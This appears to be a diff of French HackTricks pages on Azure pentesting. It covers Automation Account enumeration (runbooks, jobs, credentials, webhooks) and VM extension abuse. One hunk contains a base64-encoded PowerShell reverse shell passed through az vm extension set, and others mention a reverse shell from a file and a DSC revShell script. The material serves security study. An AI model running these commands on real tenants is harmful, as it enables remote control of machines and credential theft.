Un Runbook dans Azure Automation est un **script qui exécute des tâches automatiquement** dans votre environnement cloud. Les runbooks peuvent être écrits en PowerShell, Python ou dans des éditeurs graphiques. Ils aident à automatiser des tâches administratives comme la gestion des VM, le patching ou les vérifications de conformité.
|
||||
|
||||
Dans le **code** situé à l'intérieur des **Runbooks** pourrait contenir des **informations sensibles** (comme des identifiants).
|
||||
|
||||
Allez à `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
Un **Job est une instance d'exécution d'un Runbook**. Lorsque vous exécutez un Runbook, un Job est créé pour suivre cette exécution. Chaque job comprend :
|
||||
|
||||
- **Statut** : En attente, En cours, Terminé, Échoué, Suspendu.
|
||||
- **Sortie** : Le résultat de l'exécution du Runbook.
|
||||
- **Heure de début et de fin** : Quand le job a commencé et s'est terminé.
|
||||
|
||||
Un job contient la **sortie** de l'exécution du **Runbook**. Si vous pouvez **lire** les **jobs**, faites-le car ils **contiennent** la **sortie** de l'exécution (potentiellement des **informations sensibles**).
|
||||
|
||||
### Horaires & Webhooks
|
||||
|
||||
Il existe 3 principales façons d'exécuter un Runbook :
|
||||
|
||||
- **Horaires** : Ceux-ci sont utilisés pour **déclencher** des Runbooks à un **moment spécifique** ou à un **intervalle**.
|
||||
- **Webhooks** : Ce sont des **points de terminaison HTTP** qui peuvent être utilisés pour **déclencher** des Runbooks à partir de **services externes**. Notez que l'URL du webhook **n'est pas visible** après sa création.
|
||||
- **Déclenchement manuel** : Vous pouvez **déclencher manuellement** un Runbook depuis le portail Azure et depuis la CLI.
|
||||
|
||||
### Contrôle de version
|
||||
|
||||
Il permet d'importer des Runbooks depuis **Github, Azure Devops (Git) et Azure Devops (TFVC)**. Il est possible d'indiquer de publier les Runbooks du dépôt vers le compte d'automatisation Azure et il est également possible d'indiquer de **synchroniser les modifications du dépôt** vers le compte d'automatisation Azure.
|
||||
|
||||
Lorsque la synchronisation est activée, dans le **dépôt Github, un webhook est créé** pour déclencher la synchronisation chaque fois qu'un événement de push se produit. Exemple d'une URL de webhook : `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Notez que ces webhooks **ne seront pas visibles** lors de la liste des webhooks dans les runbooks associés au dépôt Github. Notez également qu'il est **impossible de changer l'URL du dépôt** d'un contrôle de version une fois qu'il est créé.
|
||||
|
||||
Pour que le contrôle de version configuré fonctionne, le **compte d'automatisation Azure** doit avoir une identité gérée (système ou utilisateur) avec le rôle **`Contributor`**. De plus, pour attribuer une identité gérée utilisateur au compte d'automatisation, il est possible de le faire en définissant simplement la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** sur le **Client ID de l'identité gérée utilisateur**.
|
||||
|
||||
### Environnements d'exécution
|
||||
|
||||
Lors de la création d'un Runbook, il est possible de sélectionner l'environnement d'exécution. Par défaut, les environnements d'exécution suivants sont disponibles :
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
- **PowerShell 7.2**
|
||||
- **Python 3.10**
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
Cependant, il est également possible de **créer vos propres environnements**, en utilisant l'un de ceux-ci comme base. Dans le cas de Python, il est possible de télécharger des packages `.whl` dans l'environnement qui sera utilisé. Dans le cas de PowerShell, il est possible de télécharger des packages `.zip` avec les modules à avoir dans l'exécution.
|
||||
|
||||
### Travailleur hybride
|
||||
|
||||
Un Runbook peut être exécuté dans un **conteneur à l'intérieur d'Azure** ou dans un **Travailleur Hybride** (machine non-Azure).\
|
||||
L'**Agent Log Analytics** est déployé sur la VM pour l'enregistrer en tant que travailleur hybride.\
|
||||
Les jobs de travailleur hybride s'exécutent en tant que **SYSTEM** sur Windows et en tant que compte **nxautomation** sur Linux.\
|
||||
Chaque Travailleur Hybride est enregistré dans un **Groupe de Travailleurs Hybrides**.
|
||||
|
||||
Par conséquent, si vous pouvez choisir d'exécuter un **Runbook** dans un **Travailleur Hybride Windows**, vous exécuterez des **commandes arbitraires** à l'intérieur d'une machine externe en tant que **Système** (technique de pivot intéressante).
|
||||
|
||||
### Configuration d'état (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> Comme indiqué dans [la documentation](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuration d'État d'Azure Automation sera retirée le 30 septembre 2027 et remplacée par [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
|
||||
Les comptes d'automatisation prennent également en charge la **Configuration d'État (SC)**, qui est une fonctionnalité qui aide à **configurer** et à **maintenir** l'**état** de vos VM. Il est possible de **créer** et d'**appliquer** des configurations DSC sur des machines **Windows** et **Linux**.
|
||||
|
||||
Du point de vue des attaquants, cela était intéressant car cela permettait d'**exécuter du code PS arbitraire dans toutes les VM configurées**, permettant d'escalader les privilèges aux identités gérées de ces VM, potentiellement en pivotant vers de nouveaux réseaux... De plus, les configurations pouvaient contenir des **informations sensibles**.
|
||||
|
||||
## Énumération
|
||||
```bash
|
||||
# List Automation Accounts
|
||||
az automation account list --output table
|
||||
|
||||
# Get Automation Account details
|
||||
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
|
||||
# Check the managed identities in `identity`
|
||||
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get keys of automation account
|
||||
## These are used for the DSC
|
||||
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get schedules of automation account
|
||||
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get connections of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
|
||||
|
||||
# Get connection details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
|
||||
|
||||
# Get credentials of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
|
||||
|
||||
# Get credential details
|
||||
## Note that you will only be able to access the password from inside a Runbook
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
|
||||
|
||||
# Get certificates of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
|
||||
|
||||
# Get certificate details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
|
||||
|
||||
# Get variables of automation account
|
||||
## It's possible to get the value of unencrypted variables but not the encrypted ones
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
|
||||
|
||||
# Get variable details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
|
||||
|
||||
# Get runbooks of an automation account
|
||||
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get runbook details
|
||||
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
|
||||
|
||||
# Get runbook content
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
|
||||
|
||||
# Get jobs of an automation account
|
||||
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get job details
|
||||
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
|
||||
|
||||
# Get job output
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
|
||||
# Get the Runbook content when the job was executed
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
|
||||
|
||||
# Get webhooks inside an automation account
|
||||
## It's possible to see to which runbook it belongs in the given data
|
||||
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
|
||||
## Generating a webhook can be useful from a persistence perspective
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
|
||||
|
||||
# Get the source control setting of an automation account (if any)
|
||||
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
|
||||
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get custom runtime environments
|
||||
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
|
||||
az automation runtime-environment list \
|
||||
--resource-group <res-group>> \
|
||||
--automation-account-name <account-name> \
|
||||
--query "[?!(starts_with(description, 'System-generated'))]"
|
||||
|
||||
# Get State Configurations (SC) of an automation account
|
||||
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get State Configuration details
|
||||
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
|
||||
# Get State Configuration content
|
||||
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
## Escalade de privilèges & Post-exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Informations de base sur le réseau Azure
|
||||
|
||||
Les réseaux Azure contiennent **différentes entités et façons de les configurer.** Vous pouvez trouver une brève **description,** **des exemples** et des **commandes d'énumération** des différentes entités de réseau Azure dans :
|
||||
Les réseaux Azure contiennent **différentes entités et façons de les configurer.** Vous pouvez trouver une brève **description,** **des exemples** et des **commandes d'énumération** des différentes entités réseau Azure dans :
|
||||
|
||||
{{#ref}}
|
||||
az-azure-network.md
|
||||
@@ -20,21 +20,21 @@ Les Machines Virtuelles (VM) Azure sont des **serveurs basés sur le cloud flexi
|
||||
- **Type de sécurité** :
|
||||
- **Sécurité standard** : C'est le type de sécurité par défaut qui ne nécessite aucune configuration spécifique.
|
||||
- **Lancement de confiance** : Ce type de sécurité améliore la protection contre les kits de démarrage et les logiciels malveillants au niveau du noyau en utilisant le démarrage sécurisé et le module de plateforme de confiance virtuel (vTPM).
|
||||
- **VMs confidentielles** : En plus d'un lancement de confiance, cela offre une isolation basée sur le matériel entre la VM, l'hyperviseur et la gestion de l'hôte, améliore le chiffrement des disques et [**plus**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **VMs confidentielles** : En plus d'un lancement de confiance, cela offre une isolation matérielle entre la VM, l'hyperviseur et la gestion de l'hôte, améliore le chiffrement des disques et [**plus**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Authentification** : Par défaut, une nouvelle **clé SSH est générée**, bien qu'il soit possible d'utiliser une clé publique ou d'utiliser une clé précédente et le nom d'utilisateur par défaut est **azureuser**. Il est également possible de configurer l'utilisation d'un **mot de passe.**
|
||||
- **Chiffrement des disques VM :** Le disque est chiffré au repos par défaut en utilisant une clé gérée par la plateforme.
|
||||
- Il est également possible d'activer le **chiffrement à l'hôte**, où les données seront chiffrées dans l'hôte avant d'être envoyées au service de stockage, garantissant un chiffrement de bout en bout entre l'hôte et le service de stockage ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **Groupe de sécurité réseau NIC** :
|
||||
- **Aucun** : Ouvre essentiellement tous les ports
|
||||
- **De base** : Permet d'ouvrir facilement les ports entrants HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Basique** : Permet d'ouvrir facilement les ports entrants HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Avancé** : Sélectionnez un groupe de sécurité
|
||||
- **Sauvegarde** : Il est possible d'activer une sauvegarde **Standard** (une par jour) et **Améliorée** (plusieurs par jour)
|
||||
- **Options d'orchestration des correctifs** : Cela permet d'appliquer automatiquement des correctifs dans les VM selon la politique sélectionnée comme décrit dans les [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Alertes** : Il est possible de recevoir automatiquement des alertes par e-mail ou par application mobile lorsque quelque chose se produit dans la VM. Règles par défaut :
|
||||
- Pourcentage de CPU supérieur à 80%
|
||||
- Pourcentage CPU supérieur à 80%
|
||||
- Octets de mémoire disponibles inférieurs à 1 Go
|
||||
- Pourcentage de consommation des IOPS des disques de données supérieur à 95%
|
||||
- Pourcentage de consommation des IOPS du système d'exploitation supérieur à 95%
|
||||
- Pourcentage d'I/O consommé par les disques de données supérieur à 95%
|
||||
- Pourcentage d'I/O consommé par le système d'exploitation supérieur à 95%
|
||||
- Réseau total supérieur à 500 Go
|
||||
- Réseau sortant total supérieur à 200 Go
|
||||
- VmAvailabilityMetric inférieur à 1
|
||||
@@ -79,7 +79,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
Une **image de VM** est un modèle qui contient le système d'exploitation, les paramètres d'application et le système de fichiers nécessaires pour **créer une nouvelle machine virtuelle (VM)**. La différence entre une image et un instantané de disque est qu'un instantané de disque est une copie en lecture seule, à un moment donné, d'un seul disque géré, utilisé principalement pour la sauvegarde ou le dépannage, tandis qu'une image peut contenir **plusieurs disques et est conçue pour servir de modèle pour créer de nouvelles VMs**.\
|
||||
Les images peuvent être gérées dans la **section Images** d'Azure ou à l'intérieur des **galeries de calcul Azure**, ce qui permet de générer des **versions** et de **partager** l'image entre locataires ou même de la rendre publique.
|
||||
|
||||
Un **point de restauration** stocke la configuration de la VM et des **instantanés cohérents au moment donné** de tous les disques gérés attachés à la VM. Il est lié à la VM et son but est de pouvoir restaurer cette VM à son état à ce moment précis.
|
||||
Un **point de restauration** stocke la configuration de la VM et des **instantanés cohérents au moment donné** de toutes les disques gérés attachés à la VM. Il est lié à la VM et son but est de pouvoir restaurer cette VM à son état à ce moment précis.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
D'après les [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) : Site Recovery aide à garantir la continuité des activités en maintenant les applications et charges de travail en cours d'exécution pendant les pannes. Site Recovery **réplique les charges de travail** s'exécutant sur des machines physiques et virtuelles (VM) d'un site principal à un emplacement secondaire. Lorsqu'une panne se produit sur votre site principal, vous basculez vers un emplacement secondaire et accédez aux applications depuis là. Une fois que l'emplacement principal est de nouveau opérationnel, vous pouvez y revenir.
|
||||
D'après les [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) : Site Recovery aide à garantir la continuité des activités en maintenant les applications et charges de travail en fonctionnement pendant les pannes. Site Recovery **réplique les charges de travail** s'exécutant sur des machines physiques et virtuelles (VM) d'un site principal à un emplacement secondaire. Lorsqu'une panne se produit sur votre site principal, vous basculez vers un emplacement secondaire et accédez aux applications depuis là. Une fois que le site principal est de nouveau opérationnel, vous pouvez y revenir.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
@@ -433,9 +433,9 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
Les extensions de VM Azure sont de petites applications qui fournissent des **configurations post-déploiement** et des tâches d'automatisation sur les machines virtuelles Azure (VMs).
|
||||
|
||||
Cela permettrait d'**exécuter du code arbitraire à l'intérieur des VMs**.
|
||||
Cela permettrait de **exécuter du code arbitraire à l'intérieur des VMs**.
|
||||
|
||||
L'autorisation requise est **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
La permission requise est **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
Il est possible de lister toutes les extensions disponibles avec :
|
||||
|
||||
@@ -509,7 +509,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Exécuter un reverse shell à partir d'un fichier
|
||||
- Exécuter un shell inversé à partir d'un fichier
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -539,7 +539,7 @@ L'autorisation requise est toujours **`Microsoft.Compute/virtualMachines/extensi
|
||||
|
||||
<summary>Extension VMAccess</summary>
|
||||
|
||||
Cette extension permet de modifier le mot de passe (ou de créer s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
|
||||
Cette extension permet de modifier le mot de passe (ou de créer un mot de passe s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -549,9 +549,9 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
C'est une **extension de VM** qui appartient à Microsoft et qui utilise PowerShell DSC pour gérer la configuration des VMs Windows Azure. Par conséquent, elle peut être utilisée pour **exécuter des commandes arbitraires** dans les VMs Windows via cette extension :
|
||||
C'est une **extension VM** qui appartient à Microsoft et qui utilise PowerShell DSC pour gérer la configuration des VMs Windows Azure. Par conséquent, elle peut être utilisée pour **exécuter des commandes arbitraires** dans les VMs Windows via cette extension :
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -603,11 +603,11 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-automation-account/).
|
||||
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service Automation Accounts](../az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
### Applications VM
|
||||
### VM Applications
|
||||
|
||||
Ce sont des packages contenant toutes les **données d'application et les scripts d'installation et de désinstallation** qui peuvent être utilisés pour ajouter et supprimer facilement des applications dans des VMs.
|
||||
```bash
|
||||
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
|
||||
```
|
||||
### **Exécuter une commande**
|
||||
|
||||
C'est le mécanisme le plus basique qu'Azure fournit pour **exécuter des commandes arbitraires dans des VMs**. La permission nécessaire est `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
C'est le mécanisme le plus basique qu'Azure fournit pour **exécuter des commandes arbitraires dans des VMs**. La permission requise est `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
Reference in New Issue
Block a user